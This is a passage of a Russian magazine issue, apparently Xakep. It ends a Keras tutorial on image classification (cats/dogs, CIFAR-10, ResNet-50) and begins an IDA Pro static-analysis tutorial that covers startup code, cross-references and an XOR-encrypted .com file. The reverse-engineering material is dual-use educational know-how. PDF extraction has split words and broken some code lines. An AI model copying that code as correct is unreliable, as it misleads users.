поль зовать ся  эти ми  ней росетя ми,  ведь  их
мощь  может  при годить ся  в  самых  раз ных
слу чаях.  В  этой  статье  я  рас ска жу,
как  задей ство вать  ее  при  помощи  самых
рас простра нен ных  инс тру мен тов:  Python
и биб лиотек Tensorflow и Keras.

INFO

В пре дыду щей статье я показы вал при меры прос‐ 
тей ших  ней росетей  и  демонс три ровал,
как  научить  ней рон ку  .  А  из
статьи  «

»  ты  узна ешь,  как  обма нуть
машин ное зре ние.

рас позна вать  циф ры
Ис ходный  кот.  Как  зас тавить  ней рон ную

сеть  оши бить ся

БИНАРНАЯ КЛАССИФИКАЦИЯ
На учим  нашу  ней росеть  рас позна вать,  кош ка  или  собака  изоб ражены
на фото. Это клас сичес кий при мер, и к нему в Keras Datasets уже есть необ‐ 
ходимый для обу чения набор кар тинок. Ина че нам приш лось бы вруч ную соз‐ 
дать и клас сифици ровать нес коль ко тысяч фотог рафий.

Под клю чим необ ходимые биб лиоте ки.

from tensorflow import keras
from tensorflow.keras import layers
from tensorflow.keras import Sequential
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Flatten, 
Dense, Dropout, Activation, BatchNormalization, AveragePooling2D
from tensorflow.keras.optimizers import SGD, RMSprop, Adam
# pip install tensorflow‐datasets
import tensorflow_datasets as tfds
import tensorflow as tf
import logging
import numpy as np
import time

Соз дадим модель ней росети.

def dog_cat_model():
 model = Sequential()
 model.add(Conv2D(32, (3, 3), input_shape=(128, 128, 3), activation=

'relu'))
 model.add(MaxPooling2D(pool_size=(2, 2)))
 model.add(Conv2D(32, (3, 3), activation='relu'))
 model.add(MaxPooling2D(pool_size=(2, 2)))
 model.add(Flatten())
 model.add(Dense(units=128, activation='relu'))
 model.add(Dense(units=1, activation='sigmoid'))
 model.compile(optimizer=Adam(),
   loss='binary_crossentropy',
   metrics=['accuracy'])
 return model

У нашей ней рон ки толь ко один выход, пос коль ку резуль татом ее работы будет
бинар ная величи на: еди ница — собака, ноль — кош ка.

Те перь ней росеть сле дует обу чить. В исходном датасе те — 25 тысяч изоб‐ 
ражений. Мы раз делим его на две час ти для обу чения и верифи кации, а каж‐ 
дое  изоб ражение  обра бота ем.  Раз мер  изоб ражения  дол жен
быть 128 × 128 пик селей, а цвет в диапа зоне от нуля до еди ницы.

def dog_cat_train(model):
 splits = tfds.Split.TRAIN.subsplit(weighted=(80, 10, 10))
 (cat_train, cat_valid, cat_test), info = tfds.load('cats_vs_dogs',
   split=list(splits), with_info=True, as_supervised=True)

 def pre_process_image(image, label):
   image = tf.cast(image, tf.float32)
   image = image/255.0
   image = tf.image.resize(image, (128, 128))
   return image, label

 BATCH_SIZE = 32
 SHUFFLE_BUFFER_SIZE = 1000
 train_batch = cat_train.map(pre_process_image)
   .shuffle(SHUFFLE_BUFFER_SIZE)
   .repeat().batch(BATCH_SIZE)
 validation_batch = cat_valid.map(pre_process_image)
   .repeat().batch(BATCH_SIZE)

 t_start = time.time()
 model.fit(train_batch, steps_per_epoch=4000, epochs=2,
   validation_data=validation_batch,
   validation_steps=10,
   callbacks=None)
 print("Training done, dT:", time.time() ‐ t_start)

Те перь мы запус каем обу чение модели и сох раня ем резуль таты в файл:

model = dog_cat_model()
dog_cat_train(model)
model.save('dogs_cats.h5')

На моем компь юте ре с виде окар той GeForce 1060 обу чение сети заняло при‐ 
мер но восемь минут.

Те перь мы можем исполь зовать обу чен ную сеть. Напишем фун кцию рас‐ 
позна вания изоб ражения.

def dog_cat_predict(model, image_file):
 label_names = ["cat", "dog"]

 img = keras.preprocessing.image.load_img(image_file,
   target_size=(128, 128))
 img_arr = np.expand_dims(img, axis=0) / 255.0
 result = model.predict_classes(img_arr)
 print("Result: %s" % label_names[result[0][0]])

Поп робу ем рас познать эти изоб ражения

model = tf.keras.models.load_model('dogs_cats.h5')
dog_cat_predict(model, "cat.png")
dog_cat_predict(model, "dog1.png")
dog_cat_predict(model, "dog2.png")

Ре зуль тат

Этот спо соб мож но исполь зовать и для рас позна вания дру гих изоб ражений,
слож ность толь ко в поис ке дан ных для обу чения сети.

КЛАССИФИКАЦИЯ
Ре шение  бинар ной  задачи,  которую  мы  толь ко  что  рас смот рели,  весь ма
прос тое. Но в жиз ни отли чать кошек от собак при помощи компь юте ра при‐ 
ходит ся  нечас то,  поэто му  рас смот рим  более  реалис тичный  при мер.  Будем
опре делять, что изоб ражено на фото.

Для обу чения этой ней рон ной сети возь мем датасет   — 60 тысяч
изоб ражений, которые раз биты на десять клас сов: самолет, авто мобиль, пти‐ 
ца,  кот,  олень,  собака,  лягуш ка,  лошадь,  корабль  и  гру зовик.  Раз мер  изоб‐ 
ражений — 32 × 32 пик селя.

CIFAR‐10

Да тасет CIFAR‐10

Под дер жка это го датасе та вклю чена в Keras.
По рядок дей ствий преж ний: соз даем модель ней рон ной сети, обу чаем ее,

про веря ем на реаль ном при мере.

def cifar10_model():
 model = Sequential()
 model.add(Conv2D(32, (3, 3), padding='same',
   activation='relu', input_shape=(32, 32, 3)))
 model.add(Conv2D(32, (3, 3), activation='relu'))
 model.add(MaxPooling2D(pool_size=(2, 2)))
 model.add(Dropout(0.25))
 model.add(Conv2D(64, (3, 3), padding='same', activation='relu'))
 model.add(Conv2D(64, (3, 3), activation='relu'))
 model.add(MaxPooling2D(pool_size=(2, 2)))
 model.add(Dropout(0.25))
 model.add(Flatten())
 model.add(Dense(512, activation='relu'))
 model.add(Dropout(0.5))
 model.add(Dense(10, activation='softmax'))
 model.compile(loss='categorical_crossentropy',
   optimizer=SGD(lr=.1, momentum=0.9, nesterov=True),
   metrics=['accuracy'])
 return model

Код для обу чения сети из при мера к Keras:

def cifar10_train(model):
 (x_train, y_train), (x_test, y_test) = keras.datasets.cifar10.

load_data()
 y_train = keras.utils.to_categorical(y_train, 10)
 y_test = keras.utils.to_categorical(y_test, 10)
 x_train = x_train.astype('float32')
 x_test = x_test.astype('float32')
 x_train /= 255.0
 x_test /= 255.0

 def scheduler(epoch):
   if epoch < 30:
     return 0.01
   if epoch < 50:
     return 0.001
   return 0.0001

 change_lr = keras.callbacks.LearningRateScheduler(scheduler)

 t_start = time.time()

 # randomly rotate images in the range (degrees, 0 to 180)
 datagen = keras.preprocessing.image.ImageDataGenerator(rotati

on_range=0,
   # randomly shift images horizontally (fraction of total width)
   width_shift_range=0.1,
   # randomly shift images vertically (fraction of total height)
   height_shift_range=0.1,
   # randomly flip images
   horizontal_flip=True,
   # randomly flip images
   vertical_flip=False)

 # Compute quantities required for feature‐wise normalization
 # (std, mean, and principal components if ZCA whitening is applied)

.
 datagen.fit(x_train)

 # Fit the model on the batches generated by datagen.flow().
 model.fit_generator(datagen.flow(x_train, y_train, batch_size=128),
   epochs=60, callbacks=[change_lr],
   validation_data=(x_test, y_test))
 print("Training done, dT:", time.time() ‐ t_start)

Мы  исполь зуем  фун кцию  ,  которая  поз воля ет  нам  изме нять
параметр  , отве чающий за ско рость обу чения. На пос ледних
ите раци ях,  ког да  раз ница  в  точ ности меж ду  отдель ными шагами  уже  не  так
велика,  алго ритм  обу чения  работа ет  мед леннее  и  вни матель нее,  что
повыша ет точ ность резуль тата.

scheduler
Learning Rate

И мы при меня ем класс  . С его помощью мож но уве‐ 
личить  количес тво  изоб ражений  для  обу чения,  исполь зуя  слу чай ные  сдвиг,
поворот  и  отра жение  по  горизон тали  уже  сущес тву ющих  кар тинок.  То  есть
из  каж дого  изоб ражения  мож но  соз дать  допол нитель ные,  что  повыша ет
качес тво обу чения сети.

ImageDataGenerator

За пус каем обу чение:

model = cifar10_model()
cifar10_train(model)
model.save('cifar10_32x32.h5')

Обу чение занима ет при мер но пят надцать минут с исполь зовани ем GPU и до
часа без него.

Фун кция рас позна вания:

def cifar10_predict(model, image_file):
 labels = ["airplane", "automobile", "bird", "cat",
   "deer", "dog", "frog", "horse", "ship", "truck"]

 img = keras.preprocessing.image.load_img(image_file, target_size=(
32, 32))
 img_arr = np.expand_dims(img, axis=0) / 255.0
 result = model.predict_classes(img_arr)
 print("Result: {}".format(labels[result[0]]))

Изоб ражения для тес тирова ния

Ре зуль таты работы ней рон ной сети

Эту  ней росеть  мож но  исполь зовать  для  прак тичес ких  задач:  нап ример,
выделять  из  виде опо тока  толь ко  те  изоб ражения,  на  которых  есть  авто‐ 
мобиль.

СЕТЬ RESNET-50
Мы подош ли  к пре делу воз можнос тей домаш него ПК для обу чения ней рон‐ 
ных  сетей.  Пре дыду щая  ней росеть  обра баты вает  изоб ражения  раз мером
все го лишь 32 × 32, но при этом ее обу чение длит ся око ло пят надца ти минут
на компь юте ре с про цес сором Core i7 и виде окар той GeForce 1060.

При  такой  ско рос ти  рас четов  под бор  или  изме нение  парамет ров  сети
зай мут немало вре мени.

По это му  поп робу ем  исполь зовать  уже  готовые,  пре добу чен ные  сети.
Для при мера рас смот рим ней рон ную  . Она име ет слож ную тополо‐ 
гию  и  сос тоит  из  50  сло ев.  Кста ти,  она  заняла  пер вое  мес то  на  кон курсе

.  ResNet‐50  поз воля ет  рас позна вать  изоб ражения  по  тысяче
катего рий, а раз мер изоб ражений, которые она исполь зует, сос тавля ет 224 ×
224.

ResNet‐50

ILSVRC  2015

Наш  код  ста нет  нам ного  про ще:  нам  не  нуж но  ни  соз давать  модель,
ни обу чать ее. Мы сра зу можем перей ти к рас позна ванию.

def predict_resnet50(model, image_file):
 img = tf.contrib.keras.preprocessing.image.load_img(image_file,
   target_size=(224, 224))
 img_data = tf.contrib.keras.preprocessing.image.img_to_array(img)
 x = tf.contrib.keras.applications.resnet50.preprocess_input(
   np.expand_dims(img_data, axis=0))
 probabilities = model.predict(x)
 print(tf.contrib.keras.applications.resnet50.decode_predictions(

probabilities, top=5))

model = tf.keras.applications.ResNet50(input_shape=(224, 224, 3))
predict_resnet50(model, "cat.png")
predict_resnet50(model, "dog.png")
predict_resnet50(model, "elephant.jpg")
predict_resnet50(model, "bear.png")
predict_resnet50(model, "car.png")

Изоб ражения для тес тирова ния

Ре зуль таты работы ResNet‐50

Сеть  узна ла  полоса того  кота,  моп са,  сло на,  мед ведя  и  спор тивный  авто‐ 
мобиль. Для  каж дого  изоб ражения она  выб рала  пять  наибо лее  под ходящих
резуль татов.

Ра бота ет сеть пол ностью авто ном но. Так что, если тебе нуж на авто ном ная
сиг нализа ция,  которая  будет  сра баты вать  при  виде  мед ведя  или  сло на,
теперь ты зна ешь, как ее сде лать.

mailto:dmitryelj@gmail.com
https://xakep.ru/2019/08/29/nn-digits-recognition/
https://xakep.ru/2019/07/19/source-cat/
https://www.cs.toronto.edu/~kriz/cifar.html
https://www.kaggle.com/keras/resnet50
http://image-net.org/challenges/LSVRC/2015/
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ВЗЛОМ

В  этой  статье  мы  оку нем ся  в  глу бокий  и  под робный  ста‐ 
тичес кий  ана лиз  с  помощью  IDA  Pro  —  свер хпо пуляр ного
сре ди  хакеров  и  спе циалис тов  по  информа цион ной
безопас ности дизас сем бле ра. С пер вых же вер сий он занял
зас лужен ное  мес то  лидера  рын ка.  Это  сво его  рода  швей‐ 
цар ский  армей ский  нож,  которым  мы  будем  раз делывать
циф ровую добычу. Нач нем с самого базово го ана лиза и пос‐ 
тепен но  будем  про бирать ся  впе ред,  раз гре бая  зарос ли
кода.

С  лег кой  руки  Ден ниса  Рит чи  повелось  начинать  осво ение  нового  язы ка
прог рамми рова ния  с  соз дания  прос тей шей  прог раммы  «Hello,  World!».
Не будем нарушать эту тра дицию и оце ним воз можнос ти IDA Pro сле дующим
при мером.

INFO

Что бы  все  было  как  в  статье,  ком пилируй  при‐ 
меры  с  помощью Visual  C++  2017  вызовом 

.  Флаг    нужен,
что бы подавить воз ражение ком пилято ра и вмес‐ 
те  с  тем  вклю чить  семан тику  унич тожения  объ‐ 
ектов.

cl.
exe  first.cpp  /EHcs /EHcs

#include <iostream>
void main()
{
 std::cout << "Hello, Sailor!\n";

}

Ком пилятор сге нери рует исполня емый файл объ емом поч ти 190 Кбайт, боль‐ 
шую  часть  которо го  зай мет  слу жеб ный,  стар товый  или  биб лиотеч ный  код.
Попыт ка  дизас сем бли рова ния  с  помощью  таких  средств,  как  W32Dasm,
не  увен чает ся быс трым  успе хом,  пос коль ку  над получен ным лис тингом раз‐ 
мером в два с полови ной мегабай та (!) мож но про сидеть не час и не два. Лег‐ 
ко пред ста вить, сколь ко вре мени уйдет на серь езные задачи, тре бующие изу‐ 
чения десят ков и сотен мегабай тов дизас сем бли рован ного тек ста.

Поп робу ем дизас сем бли ровать  эту  прог рамму  с  помощью  IDA.  Если  все
нас трой ки оста вить по умол чанию, то пос ле завер шения ана лиза экран дол‐ 
жен выг лядеть сле дующим обра зом.

Ре зуль тат работы IDA Pro

Что бы открыть тек сто вое пред став ление, надо из кон текс тно го меню выб рать
пункт Text view.

Какую вер сию IDA Pro выб рать?
Пос ледней  вер сией  IDA Pro  на момент  написа ния  статьи  была  7.3.  Ее  цена
может быть велико вата для покуп ки в иссле дова тель ских целях. Как извес тно,
Иль фак Гиль фанов очень стро го отно сит ся к утеч кам и появ лению про дук тов
сво ей ком пании в интерне те и не допус кает подоб ного.

Од нако  на  сай те  ком пании Hex‐Rays  в  пуб личный  дос туп  выложе на  бес‐ 
плат ная  вер сия  дизас сем бле ра  с  фун кци ональ ными  огра ниче ниями.  Нап‐ 
ример,  она  не  получа ет  обновле ния  пос ле  дос тижения  май лсто уна  целой
вер сии,  то  есть  сей час  для  сво бод ной  заг рузки  дос тупна  вер сия  7.0.  Так же
она под держи вает толь ко архи тек туры x86 и x64.

Тем не менее это го впол не дос таточ но для наших целей. Потому что нам
не при дет ся раз бирать ся в коде для про цес соров ARM, Motorola, Sparc, MIPS
или  Zilog.  Еще  одно  огра ниче ние  нак ладыва ется  на  исполь зование  в  ком‐ 
мерчес ких целях, но и тут наша совесть чис та.

За кон чив  авто мати чес кий  ана лиз  фай ла  ,  IDA  перемес тит  кур сор
к  стро ке    —  точ ке  вхо да  в  прог рамму.  Не  забудь  из  гра‐ 
фичес кого режима отоб ражения лис тинга перек лючить ся в тек сто вый. Так же
обра ти  вни мание на  строч ку 

,  выделен ную крас ным цве том в  кон це фун кции  .  Так  IDA отме‐ 
чает пос леднюю стро ку фун кции в слу чае, если у нее в кон це   и зна‐ 
чение ука зате ля сте ка на выходе из фун кции отли чает ся от таково го на вхо де.

first.exe
.text:0040628B

.text:00406290 start endp  ;  sp‐analysis 
failed start

return

Сре ди начина ющих прог раммис тов широко рас простра нено заб лужде ние,
что яко бы прог раммы, написан ные на язы ке С, начина ют выпол нять ся с фун‐ 
кции  . В дей стви тель нос ти это не сов сем так. На самом деле сра зу пос ле
заг рузки фай ла управле ние переда ется на фун кцию  , встав ленную ком‐ 
пилято ром. Она под готав лива ет гло баль ные перемен ные:

main
Start

 — количес тво аргу мен тов коман дной стро ки;• argc

 — мас сив ука зате лей на стро ки аргу мен тов;• argv

 — мас сив ука зате лей на стро ки перемен ных окру жения.• _environ

За пол няет ся струк тура  , которая сре ди про чего вклю чает:OSVERSIONINFOEX
 — билд;• dwBuildNumber

 — стар шую вер сию опе раци онной сис темы;• dwMajorVersion

 — млад шую вер сию опе раци онной сис темы;• dwMinorVersion

 — пол ную вер сию опе раци онной сис темы;• _winver

 — стар шую вер сию пакета обновле ния;• wServicePackMajor

 — млад шую вер сию пакета обновле ния.• wServicePackMinor

Да лее   ини циали зиру ет  кучу  (heap) и вызыва ет фун кцию main, а пос ле
воз вра щения  управле ния  завер шает  про цесс  с  помощью  фун кции  .
Для  получе ния  зна чений  струк туры    исполь зует ся  фун кция

.

Start
Exit

OSVERSIONINFOEX
GetVersionEx

Про демонс три ровать  ини циали зацию  перемен ных,  совер шаемую  стар‐ 
товым  кодом,  а  так же  получе ние  их  зна чений  поз воля ет  сле дующая  прог‐ 
рамма.

CRtO.demo.c
#include <stdio.h>
#include <stdlib.h> 
#include <Windows.h>

void main()
{
 OSVERSIONINFOEX osvi;
 ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
 osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
 GetVersionEx((OSVERSIONINFO*)&osvi);

 int a;
 printf(">OS Version:\t\t\t%d.%d\n\
 >Build:\t\t\t%d\n\
 >Arguments count:\t%d\n", \
   osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwOSVersionInfo
Size, __argc);
 for (a = 0; a < __argc; a++)
   printf(">\t Argument %02d:\t\t%s\n", a + 1, __argv[a]);
 a = !a ‐ 1;
 while (_environ[++a]);
   printf(">Environment variables count:%d\n", a);
 while (a) 
   printf(">\tVariable %d:\t\t%s\n", a, _environ[‐‐a]);
}

Про тотип фун кции    как  буд то  ука зыва ет,  что  при ложе ние  не  при нима ет
никаких  аргу мен тов  коман дной  стро ки,  но  резуль тат  работы  прог раммы
говорит  об  обратном  и  на  моей  машине  выг лядит  так  (при водит ся  в  сок‐ 
ращен ном виде):

main

 

 

OS Version:                  6.2 
Build:                       156 
Arguments count:             1 
Argument 01:                 CRt0.demo.exe 
Environment variables count: 99 
... 
Variable 20: FrameworkVersion=v4.0.30319 
Variable 19: FrameworkDIR32=C:\WINDOWS\Microsoft.NET\Framework\ 
Variable 18: FrameworkDir=C:\WINDOWS\Microsoft.NET\Framework\ 
Variable 17: Framework40Version=v4.0 
Variable 16: ExtensionSdkDir=C:\Program Files (x86)\Microsoft SDKs\Win‐
dows Kits\10\ExtensionSDKs 
Variable 15: DriverData=C:\Windows\System32\Drivers\DriverData

Оче вид но,  нет  никакой  необ ходимос ти  ана лизи ровать  стан дар тный  стар‐ 
товый  код  при ложе ния,  и  пер вая  задача  иссле дова теля  —  най ти  мес то
переда чи управле ния на фун кцию  . К сожале нию, что бы гаран тирован но
решить эту задачу, пот ребу ется пол ный ана лиз содер жимого фун кции  .
У иссле дова телей есть мно го хит ростей, которые поз воля ют не делать это го,
но все они базиру ются на осо бен ностях реали зации кон крет ных ком пилято‐ 
ров и не могут счи тать ся уни вер саль ными.

main
Start

Нап ример,  Visual  C++  всег да,  незави симо  от  про тоти па  фун кции  ,
переда ет  ей  три  аргу мен та:  ука затель  на  мас сив  ука зате лей  перемен ных
окру жения,  ука затель  на  мас сив  ука зате лей  аргу мен тов  коман дной  стро ки
и  количес тво аргу мен тов  коман дной стро ки, а все осталь ные фун кции стар‐ 
тового кода при нима ют мень шее количес тво аргу мен тов.

main

Ре комен дую озна комить ся с исходни ками стар товых фун кций популяр ных
ком пилято ров. Для Visual C++ 14 в соот ветс твии с архи тек турой они находят‐ 
ся в под папках катало га 

.  Их  изу чение  упростит  ана лиз  дизас сем блер ного
лис тинга.

%\Program Files (x86)\Microsoft Visual Stu‐
dio  14.0\VC\crt\src\

Ни же  в  качес тве  иллюс тра ции  при водит ся  фраг мент  стар тового  кода
прог раммы  , получен ный в резуль тате работы W32Dasm.first.exe

 

 

 

 

//******************** Program Entry Point ******************** 
:0040628B E802070000              call 00406992 
:00406290 E974FEFFFF              jmp 00406109

 
|:0040380C   , :004038B2   , :0040392E   , :00403977   , :00403A8E 
|:00404094   , :004040FA   , :00404262   , :00404BF4   , :00405937 
|:004059AE 
|

* Referenced by a CALL at Addresses:

 
|:004062B6(U) 
| 
:00406295 8B4DF4                  mov ecx, dword ptr [ebp‐0C] 
:00406298 64890D00000000          mov dword ptr fs:[00000000], ecx 
:0040629F 59                      pop ecx 
:004062A0 5F                      pop edi 
:004062A1 5F                      pop edi 
:004062A2 5E                      pop esi 
:004062A3 5B                      pop ebx 
:004062A4 8BE5                    mov esp, ebp 
:004062A6 5D                      pop ebp 
:004062A7 51                      push ecx 
:004062A8 F2                      repnz 
:004062A9 C3                      ret 
...

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

Ина че выг лядит резуль тат работы IDA, уме ющей рас позна вать биб лиотеч ные
фун кции по их сиг натурам (приб лизитель но по такому же алго рит му работа ет
мно жес тво анти виру сов).

По это му спо соб ности дизас сем бле ра тес но свя заны с его вер сией и пол‐ 
нотой  ком плек та  пос тавки  —  далеко  не  все  вер сии  IDA  Pro  в  сос тоянии
работать с прог рамма ми, сге нери рован ными сов ремен ными ком пилято рами.

 

 

.text:0040628B start           proc near 

.text:0040628B 

.text:0040628B ; FUNCTION CHUNK AT .text:00406109 SIZE 00000127 BYTES 

.text:0040628B ; FUNCTION CHUNK AT .text:00406265 SIZE 00000026 BYTES 

.text:0040628B 

.text:0040628B                 call    sub_406992 

.text:00406290                 jmp     loc_406109 

.text:00406290 start           endp ; sp‐analysis failed 

.text:00406290 

.text:00406295 ; [00000015 BYTES: COLLAPSED FUNCTION __EH_epilog3. PRESS 
CTRL‐NUMPAD+ TO EXPAND] 
.text:004062AA ; [00000011 BYTES: COLLAPSED FUNCTION __EH_epilog3_GS. 
PRESS CTRL‐NUMPAD+ TO EXPAND] 
.text:004062BB ; [00000034 BYTES: COLLAPSED FUNCTION __EH_prolog3. PRESS 
CTRL‐NUMPAD+ TO EXPAND] 
.text:004062EF ; [00000037 BYTES: COLLAPSED FUNCTION __EH_prolog3_GS. 
PRESS CTRL‐NUMPAD+ TO EXPAND] 
.text:00406326 ; [00000037 BYTES: COLLAPSED FUNCTION __EH_prolog3_catch. 
PRESS CTRL‐NUMPAD+ TO EXPAND] 
.text:0040635D 
.text:0040635D ; =============== S U B R O U T I N E =============== 
.text:0040635D 
.text:0040635D ; Attributes: thunk 
.text:0040635D 
.text:0040635D sub_40635D      proc near               ; CODE XREF: sub‐
_4042FD+19↑p 
.text:0040635D                 jmp     sub_406745 
.text:0040635D sub_40635D      endp 
.text:0040635D 
.text:00406362 
...

Пе речень под держи ваемых ком пилято ров мож но най ти в фай ле 
.  В  нем  есть  ста рин ные  Microsoft  C  и  Quick  C,  Visual  C++  с  пер вой

по  вось мую  вер сию  и  Visual.Net.  А  вот  Visual  C++  14  из  Visual  Studio
2017  здесь  нет.  Одна ко,  взгля нув  в  окно  IDA,  мы  видим,  что  дизас сем блер
сумел опре делить мно гие (но не все) фун кции.

%IDA%/SIG/
list

Заг лянем  в  окно  вывода,  находя щееся  вни зу.  Там,  нем ного  прок рутив
вывод, мы обна ружим строч ку  ,
говоря щую о том, что исполь зуемая вер сия IDA все же понима ет ком пилято‐ 
ры Visual C++ от 7 до 14.

Using FLIRT signature: SEH for  vc7‐14

Тек сто вое отоб ражение резуль тата работы IDA

Да вай  раз бирать ся  в  получив шемся  лис тинге.  Пер вое  и  в  дан ном  слу чае
единс твен ное, что нам надо най ти, — это фун кция  . В начале стар тового
кода пос ле  выпол нения про цеду ры    прог рамма совер шает  пры‐ 
жок на мет ку  :

main
sub_406992

loc_406109

 

 

.text:0040628B start           proc near 

.text:0040628B                 call    sub_406992 

.text:00406290                 jmp     loc_406109

Для  перехо да  на  мет ку  дос таточ но  пос тавить  на  нее  тек сто вый  кур сор
и  нажать  Enter.  Если  под вести  кур сор  мыши  к  мет ке  или  вызову  фун кции,
появит ся  окно,  в  котором  будет  показа но  начало  выб ранной  фун кции
или мес то лис тинга, куда перево дит мет ка, что очень удоб но.

В  дан ном  слу чае,  как  мы  видим  по  ком мента рию,  IDA  отпра вила  нас
в  начало  стар тового  кус ка  кода. Нем ного  прок рутим лис тинг  вниз,  обра щая
вни мание на плав ные перехо ды по мет кам.

В ито ге доходим до вызова фун кции:  . Похоже, это и есть
фун кция  ,  пос коль ку  здесь  дизас сем блер  смог  рас познать  стро ковую
перемен ную и дал ей осмыслен ное имя  , а в ком мента рии, рас‐ 
положен ном  спра ва,  для  наг ляднос ти  при вел  ори гиналь ное  содер жимое

. Сме щение этой стро ки  ком пилятор закинул на вер шину
сте ка,  а  затем  ниже  через  строч ку,  по  всей  видимос ти,  про исхо дит  вызов
фун кции вывода на экран:

call sub_4010D0
main

aHelloSailor

Hello, Sailor!\n

 

 

.text:004010D3         push    offset aHelloSailor ; "Hello, Sailor!\n" 

.text:004010D8         push    offset unk_42DE30 

.text:004010DD         call    sub_401170

Что бы убе дить ся в этом, зай дем в пос леднюю про цеду ру. Разоб рать ся в ней
без  пива  не  пред став ляет ся  воз можным,  раз ве  что  огромное  количес тво
парамет ров намека ет нам на схо жесть с фун кци ей  .printf

Ес ли помес тить кур сор в гра ницы име ни   и нажать Enter, IDA
авто мати чес ки  перей дет  к  стро ке,  в  которой  выпол няет ся  опре деле ние
перемен ной:

aHelloSailor

 

 

.rdata:0041E1A0 aHelloSailor    db 'Hello, Sailor!',0Ah,0 ; DATA XREF: 
sub_4010D0+3↑o

Вы раже ние   называ ется перек рес тной ссыл кой
и  сви детель ству ет  о  том,  что  в  треть ей  стро ке  про цеду ры    про‐ 
изош ло обра щение к  текуще му адре су по его сме щению  (  от сло ва offset),
а  стрел ка,  нап равлен ная  вверх,  ука зыва ет  на  отно ситель ное  рас положе ние
источни ка перек рес тной ссыл ки.

DATA XREF: sub_4010D0+3↑o
sub_4010D0
o

Ес ли навес ти кур сор на выраже ние   и нажать Enter, то IDA
Pro перей дет к сле дующей стро ке:

sub_4010D0+3↑o

 

 
.text:004010D3         push    offset aHelloSailor ; "Hello, Sailor!\n"

На жатие  Esc  отме няет  пре дыду щее  переме щение,  воз вра щая  кур сор
в исходную позицию.

К  сло ву,  дизас сем блер  W32Dasm  даже  не  смог  рас познать  стро ковую
перемен ную.

Что не так с IDA?
По ложа руку на сер дце — я был слег ка разоча рован, ибо ожи дал, что IDA рас‐ 
позна ет боль ше биб лиотеч ных про цедур. Поэто му я решил нат равить  «Иду»
на  такую  же  прог рамму,  но  сге нери рован ную  более  ран ней  вер сией  ком‐ 
пилято ра. Подопыт ным кро ликом выс тупил Visual C++ 8.0 (VS 2005).

Срав ним резуль таты работы ком пилято ров. Тот же исходник, ком пиляция
из коман дной стро ки (пап ка  ). Заг рузим ито говый экзешник в «Иду».
Лис тинг при водит ся в сок ращен ном виде для эко номии прос транс тва.

first05

Ма ло того что стар товый код мень ше по объ ему, так еще было авто мати чес ки
опре деле но  боль шее  количес тво  биб лиотеч ных  фун кций,  сре ди  которых:
GetVersionExA, GetProcessHeap, HeapFree и ряд дру гих. Сре ди них дос таточ но
прос то най ти вызов main и перей ти на саму фун кцию.

Тем  не  менее  VC++  8.0 —  ушед шая  эпо ха,  и  в  при мер  я  ее  при вел  толь ко
для озна ком ления.

На  этом  ана лиз  при ложе ния    мож но  счи тать  завер шенным.
Для пол ноты кар тины оста ется пере име новать фун кцию   в  .
Для это го под води кур сор к стро ке   (началу фун кции) и жми
N. В появив шемся диало ге можешь ввес ти  . Резуль тат дол жен выг лядеть
так:

first.cpp
sub_4010D0 main

.text:004010D0
main

 

 

.text:004010D0 ; int __cdecl main(int argc, const char **argv, const 
char **envp) 
.text:004010D0 main    proc near ; CODE XREF: start‐8D↓p 
.text:004010D0 
.text:004010D0 argc    = dword ptr  8 
.text:004010D0 argv    = dword ptr  0Ch 
.text:004010D0 envp    = dword ptr  10h 
.text:004010D0 
.text:004010D0         push    ebp 
.text:004010D1         mov     ebp, esp 
.text:004010D3         push    offset aHelloSailor ; "Hello, Sailor!\n" 
.text:004010D8         push    offset unk_42DE30 
.text:004010DD         call    sub_401170 
.text:004010E2         add     esp, 8 
.text:004010E5         xor     eax, eax 
.text:004010E7         pop     ebp 
.text:004010E8         retn 
.text:004010E8 main    endp

Об рати вни мание:  IDA в ком мента рии под ста вила про тотип фун кции, а ниже
парамет ры по умол чанию.

IDA И ЗАШИФРОВАННЫЕ ПРОГРАММЫ
Дру гое  важ ное  пре иму щес тво  IDA  —  спо соб ность  дизас сем бли ровать
зашиф рован ные  прог раммы.  В  при мере    исполь зует ся  ста‐ 
тичес кое  шиф рование,  которое  час то  встре чает ся  в  «кон вер тных»  защитах.
Меж ду тем этот файл не запус тится в Windows 10, пос коль ку *.com для работы
тре бует 16‐раз рядную исполня емую сре ду.

Crypt00.com

Я думаю, это не повод отка зать ся от ана лиза столь инте рес ного при мера,
тем  более  что  сущес тву ют  мощ ные  средс тва  вир туали зации,  поэто му  пос‐ 
тавить  32‐бит ную  Windows  XP,  которая  выпол няет  16‐бит ные  про ги,  —
не проб лема. К тому же ана лиз фай лов .com зна читель но про ще, чем .exe, так
как пер вые силь но короче вто рых.

Мы уже видели неп роходи мые зарос ли биб лиотеч ного кода, встав ленно го
ком пилято ром  в  минималь ной  exe‐прог рамме,  тог да  как  в  com  все
по миниму му,  в  чем мы  ско ро  убе дим ся. Отме чу  так же,  что  пос ледней  вер‐ 
сией IDA Pro, работа ющей в 32‐раз рядных сре дах, была 6.8.

Sourcer в деле

Рас смат рива емый при ем шиф рования  пол ностью  «ослепля ет»  боль шинс тво
дизас сем бле ров.  Нап ример,  резуль тат  обра бот ки  фай ла 
при помощи Sourcer выг лядит так:

Crypt00.com

 

 

crypt00   proc  far 
3A6A:0100     start: 
3A6A:0100 ъBE 010D    mov si,10Dh     ; (3A6A:010D=0C3h) 
3A6A:0103     loc_1:        ;  xref 3A6A:010B 
3A6A:0103 80 34 77   xor byte ptr [si],77h ; 'w' 
3A6A:0106 46     inc si 
3A6A:0107 81 FE 0124   cmp si,124h 
3A6A:010B  76 F6    jbe loc_1     ; Jump if below or = 
3A6A:010D  C3     retn 
3A6A:010E  7E CD 62 76 BA 56  db   7Eh,0CDh, 62h, 76h,0BAh, 56h 
3A6A:0114  B4 3F 12 1B 1B 18  db  0B4h, 3Fh, 12h, 1Bh, 1Bh, 18h 
3A6A:011A  5B 57 20 18 05 13  db   5Bh, 57h, 20h, 18h, 05h, 13h 
3A6A:0120 56 7A 7D 53    db   56h, 7Ah, 7Dh, 53h 
crypt00   endp

Са мос тоятель но Sourcer  не сумел дизас сем бли ровать полови ну  кода, оста‐ 
вив ее в виде дам па. С дру гой сто роны, как‐то помочь ему мы не можем. Нап‐ 
